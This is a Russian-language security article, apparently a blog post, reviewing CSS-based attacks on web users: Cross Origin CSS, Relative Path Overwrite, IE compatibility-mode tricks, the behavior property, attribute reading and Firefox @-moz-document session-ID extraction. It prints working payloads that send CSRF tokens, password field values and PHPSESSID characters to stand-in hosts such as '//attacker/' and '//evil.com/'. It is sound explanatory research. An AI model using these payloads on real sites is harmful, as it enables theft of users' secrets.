CSS (Cascading Style Sheets) – язык разметки для оформления внешнего вида веб-страниц, отделяющий визуальное представление от содержания. Первая спецификация формата была опубликована организацией W3C в 1996 году. Тогда CSS позволял делать самые простые вещи: покрасить блок текста цветом, оформить текст курсивом, выравнять абзац, сделать рамку. Сегодня CSS стал настолько сложным, что для него создают фреймворки (bootstrap, jQuery UI) и метаязыки (SASS, SCSS, LESS), которые позволяют упростить написание стилей с помощью увеличения уровня абстракции CSS.
Бурное развитие CSS привлекло внимание исследователей безопасности, что вылилось в ряд техник, позволяющих проводить атаки на клиента с целью украсть его персональные данные: CSRF-токены, историю посещений сайтов, списки email-контактов и т.д. Начнем обзор с классических векторов, которые еще не потеряли свою актуальность.
Cross Origin CSS
В 2009 году Крис Эванс (Chris Evans) опубликовал описание новой техники для извлечения приватной информации с произвольных сайтов в обход Same Origin Policy с помощью подгрузки целевой страницы атакуемого сайта как CSS-стиля. Чтобы проиллюстрировать суть данной техники, рассмотрим шаги для воспроизведения proof-of-concept для Yahoo! Mail:
- атакующий отправляет жертве письмо с темой
');}
- проходит некоторое время, жертве приходят новые письма
- атакующий отправляет еще одно письмо с темой
{}body{background:url(‘//attacker/?a=
и текстом сообщения, который призывает кликнуть на ссылку, ведущую на сайт атакующего.
По ссылке страница, которая подгружает главную страницу Yahoo! Mail со списком писем как CSS-стиль:
<link type='text/css' rel='stylesheet' href='https://m.yahoo.com/mail' />
Важно отметить, что CSS-парсеры в браузерах крайне толерантны к невалидному синтаксису, поэтому среди HTML-тэгов будет распознано валидное CSS-правило:
&3=q%22%3E
{}body{background:url('//attacker/?a=%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&<code>mid=1_3493_AGvHtEQAAWFgSgIzgAlWYQXHqDYSuper%20sensitive%20subject
%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&mid=1_3933_AGTHtEQAAM%2FHSgIzawpE8Fwm1%2FI&5=x%22%3E’);}
Таким образом, текст в теме двух писем атакующего сформировало валидное CSS-правило, а между письмами оказался кусок HTML-кода, в котором присутствует CSRF-токен (параметр mid) и заголовок другого секретного письма. Вся эта информация отправляется на сайт атакующего с помощью CSS-свойства background и указания внешнего адреса картинки для фона.
На тот момент главным ограничением атаки было обязательное наличие двух мест для внедрения произвольного текста, а также отсутствие переносов строк между ними, так как это допускается только в Internet Explorer 8 и ниже. Сейчас же это и вовсе не будет работать, так как все известные браузеры впоследствии перестали разрешать подгрузку стилей со сторонних сайтов, если в ответе явно не указан Content-Type text/css. Однако в пределах того же сайта Content-Type будет игнорироваться, если в ответе сервера при запросе CSS-стиля отсутствует заголовок X-Content-Type-Options со значением nosniff, который запрещает content sniffing, т.е. автоматическое определение типа содержимого по его структуре. Эта особенность вкупе со следующей техникой делает данный механизм атаки все еще актуальным.
Relative Path Overwrite
Автором атаки Relative Path Overwrite является Гарет Хейс (Gareth Heyes), чье исследование вдохнуло новую жизнь в старые CSS-вектора. Для реализации атаки RPO на сайте необходимо наличие относительных путей для подгрузки стилей:
<link href="styles/style.css" rel="stylesheet" type="text/css"/>
Например, если текущий адрес /news.php, то браузер отправит запрос на /styles/style.css. Однако если к текущему адресу добавить “/”, то запрос уйдет на news.php/styles/style.css, так как для браузера такой URI (/news.php/) будет означать директорию. Но он ничего не знает о серверной стороне. Дело в том, что для PHP, .NET, JSP и многих фреймворков обращение по пути вида existing.app/anything/here вместо возврата ошибки 404 будет вызываться existing.app. Таким образом, добавив к пути “/”, у атакующего появляется возможность подгрузить текущую HTML-страницу как CSS-стиль в пределах того же домена.
Здесь необходимо остановиться на важном условии: для исходной HTML-страницы должен быть объявлен так называемый режим совместимости (quirks mode), при котором различные ошибки, в том числе неправильный Content-Type при подгрузке CSS-стиля, будут игнорироваться. Для этого в начале HTML-документа должна быть следующая строка:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
На режим совместимости указывает ключевое словое transitional. Режим соблюдения стандартов (strict или standards mode) объявляется следующим образом:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Strict//EN">
Или для HTML5 просто:
<!DOCTYPE html>
Если тип документа не объявлен, по умолчанию будет использоваться режим совместимости.
Таким образом, если атакующий может добавить свой текст в содержимое страницы, которая подгружает CSS-стили, используя относительные пути, у него появляется возможность внедрить свои CSS-правила. Самым удачным случаем является вывод текущего URI в содержимое страницы, например:
<link rel="stylesheet" href="<?php echo $_SERVER['PHP_SELF']; ?>/../styles.css">
Это позволяет встроить вектор прямо в URL как в Reflected XSS:
http://test.com/rpo/index.php/%250a*%7B%7D%250abody%7Bbackground:red%7D%250a/
Режим эмуляции старых версий в IE
RPO открывает двери для описанной выше Cross Origin CSS атаки, в том числе для случая с переносами строк для любой версии Internet Explorer, используя режим эмуляции старых версий. Для этого требуется поместить целевую страницу в iframe и указать параметр X-UA-Compatible либо в заголовке ответа, либо в тэге meta:
<meta http-equiv="x-ua-compatible" content="IE=7">
Для страницы в iframe будет применен режим эмуляции IE 7, который разрешает переносы строк в литералах CSS. Однако у целевой страницы в iframe должен быть установлен режим совместимости, он не наследуется из родительской страницы.
В случае, если у страницы в iframe установлен standards режим или она имеет собственный X-UA-Compatible, то доступные режимы эмуляции ограничиваются IE8 и выше. Интересная особенность – в Internet Explorer 11 X-UA-Compatible у iframe игнорируется, но quirks режим все равно нужен.
Поведение IE11: родительская страница в режиме эмуляции IE7 с quirks mode, страница в iframe – в standards-режиме.
Каким образом можно обойти <!DOCTYPE html>
? Если не рассматривать местную интрасеть, где IE всегда включает режим совместимости, остается только вариант с CV (Compatibility View) списками. Microsoft ведет публичный список сайтов в формате XML, для которых требуется поддержка работы в старых версиях IE. Дело в том, что сайты, присутствующие в этом списке, могут принудительно назначать quirks mode для страниц в iframe вне зависимости от их режима. Поэтому если по заявке Microsoft добавит твой сайт в CV-список, ты сможешь ифреймить страницы в режиме совместимости. При этом не забываем, что заголовок ответа X-Frame-Options, может запрещать родителю подгружать страницу в iframe.
Выполнение JavaScript
Когда-то в CSS можно было выполнять JS-скрипты: в Firefox с помощью свойства -moz-binding
, в Opera через свойство -o-link
, в Internet Explorer, используя динамическое свойство expression()
. Однако на сегодняшний момент ни один из этих способов уже не работает. Остался лишь один вектор, который все еще жив в Internet Explorer в режиме совместимости. Речь идет об архаичном свойстве behavior
, которое позволяет подключить DHTML-компоненты:
<input style="behavior: url(xss.txt)">
xss.txt:
<scriptlet>
<implements type="behavior"/>
<script>alert(1)</script>
</scriptlet>
Ограничения следующие: quirks mode, отсутствие в ответе заголовков Content-Disposition: attachment и X-Content-Type-Options: nosniff, и, самое главное, подключаемый scriptlet должен находиться на том же домене. Поэтому если на сайте есть загрузка файлов и определенные расширения не отдаются пользователю как вложение, то этот способ может быть актуальным для атак на пользователей IE.
CSSAR
CSS Attribute Reading позволяет получать значения атрибутов HTML-тегов с помощью стилей, впервые атака была описана опять же Гаретом Хейсом и Эдуардо Вела (Eduardo Vela) в 2008 году. Принцип ее прост – селекторы CSS v3 позволяют последовательно перебирать значения атрибутов конструкцией вида:
input[value^=p] {
background: url(//attacker/?word=p)
}
input[value^=pw] {
background: url(//attacker/?word=pw)
}
input[value^=pwd] {
background: url(//attacker/?word=pwd)
}
Это рабочий, но достаточно тяжелый вектор, так как, даже с учетом всех оптимизацией и с предварительным определением набора символов в значении, для атрибута из 50 символов потребуется более 2500 CSS-правил. Достоинство техники в том, что она работает для тэгов input с типами hidden и password.
Чтение токенов из URL в Firefox
В спецификации CSS v4 присутствует at-правило @document, которое позволяет ограничить применение CSS-стилей для конкретного адреса, например:
@document url(http://www.w3.org/)
{
body { color: purple; background: yellow; }
}
На данный момент @document поддерживает только Firefox с префиксом -moz. Реализация FF позволяет фильтровать адреса с помощью регулярных выражений:
@-moz-document regexp("https:.*") {}
Исследователь Марио Хайдерих (Mario Heiderich) придумал вектор, который позволяет извлекать идентификаторы сессий из URL с использованием этой фичи в Firefox. Эксплоит похож на CSSAR, но регулярки предоставляют больше гибкости по сравнению с операторами CSS:
@-moz-document regexp(".*PHPSESSID=0.*"){ul li:nth-child(1){background:url(//evil.com/?character:0#position:0)}}
@-moz-document regexp(".*PHPSESSID=1.*"){ul li:nth-child(1){background:url(//evil.com/?character:1#position:0)}}
@-moz-document regexp(".*PHPSESSID=2.*"){ul li:nth-child(1){background:url(//evil.com/?character:2#position:0)}}
/**/
@-moz-document regexp(".*PHPSESSID=...............................x.*"){ul li:nth-child(32){background:url(//evil.com/?character:x#position:31)}}
@-moz-document regexp(".*PHPSESSID=...............................y.*"){ul li:nth-child(32){background:url(//evil.com/?character:y#position:31)}}
@-moz-document regexp(".*PHPSESSID=...............................z.*"){ul li:nth-child(32){background:url(//evil.com/?character:z#position:31)}}
Техника позволяет извлечь весь URL вместе с fragment-частью после знака #.
Ссылки
http://www.thespanner.co.uk/2014/03/21/rpo/
http://blog.portswigger.net/2015/02/prssi.html
http://blog.innerht.ml/cascading-style-scripting/
http://www.mbsd.jp/Whitepaper/rpo.pdf
https://www.linshunghuang.com/papers/css.pdf
http://scarybeastsecurity.blogspot.ru/2009/12/generic-cross-browser-cross-domain.html
http://sirdarckcat.blogspot.ru/2008/10/about-css-attacks.html
Leave a Reply